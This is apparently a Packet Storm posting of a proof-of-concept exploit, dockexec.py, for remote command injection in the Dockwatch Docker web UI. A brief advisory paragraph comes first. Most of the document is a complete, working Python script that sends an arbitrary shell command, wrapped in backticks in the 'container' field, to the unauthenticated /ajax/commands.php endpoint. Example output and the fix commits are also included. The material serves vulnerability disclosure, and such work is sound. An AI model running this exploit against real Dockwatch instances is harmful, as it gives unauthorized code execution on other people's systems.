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Dockwatch Remote Command Execution

Dockwatch is a container management web UI for docker. It runs by default without authentication, although guidance is available for how to setup credentials for access. It has a Commands feature that allows a user to run docker commands such as inspect, network, ps. Prior to fix, it did not restrict input for parameters, so both container and parameters for the dockerInspect command were vulnerable to shell command injection on the container as the abc user with (limited) command output. See commits 23df366 and c091e4c for fixes.

Packet Storm
#web#php#auth#docker
#!/usr/bin/env python3# -*- coding: UTF-8 -*-## dockexec.py## Dockwatch Remote Command Execution## Jeremy Brown [jbrown3264/gmail] / Sept 2024## Intro## Dockwatch is a container management web UI for docker. It runs by default# without authentication, although guidance is available for how to setup# credentials for access. It has a Commands feature that allows a user to# run docker commands such as inspect, network, ps. Prior to fix, it did not# restrict input for parameters, so both 'container' and 'parameters' for the# 'dockerInspect' command were vulnerable to shell command injection on the# container as the 'abc'user with (limited) command output.## Example## $ ./dockexec.py http://host:9999 "id"# uid=1001(abc)# gid=131(abc)# groups=131(abc),281(unraiddocker),1000(users)## Workaround: echo "admin:[a-FANTASTIC-password]" > /config/logins# * DO NOT DO THIS: echo "" > /config/logins (* unless you want spacebar to work for user/pass)## Fix: see commits 23df366 and c091e4c, kudos for maintainers for quick fixes#import sysimport requestsimport redef clean_output(output):    output = output.replace('[]', '')    output = re.sub(r'Error: No such object:\s*', '', output)    output = output.replace('command', '')    output = output.replace('test\n', '')    lines = [line.strip() for line in output.split('\n')]    return '\n'.join(lines)def send_command(url, command):    endpoint = f"{url}/ajax/commands.php"    data = {        'm': 'runCommand',        'command': 'dockerInspect',        'container': '`' + command + '`',        'parameters': 'test', # also affected        'servers': '0'    }    try:        response = requests.post(endpoint, data=data)        response.raise_for_status()        match = re.search(r'<pre[^>]*>(.*?)</pre>', response.text, re.DOTALL)        if match:            output = clean_output(match.group(1))            if output:                print("%s" % output)            else:                print("No output found.")        else:            print("No output found in the response.")    except requests.exceptions.RequestException as error:        print("An error occurred: %s" % error)if __name__ == "__main__":    if len(sys.argv) != 3:        print("Usage: %s <url> <command>" % sys.argv[0])        sys.exit(1)    url = sys.argv[1]    command = sys.argv[2]    send_command(url, command)

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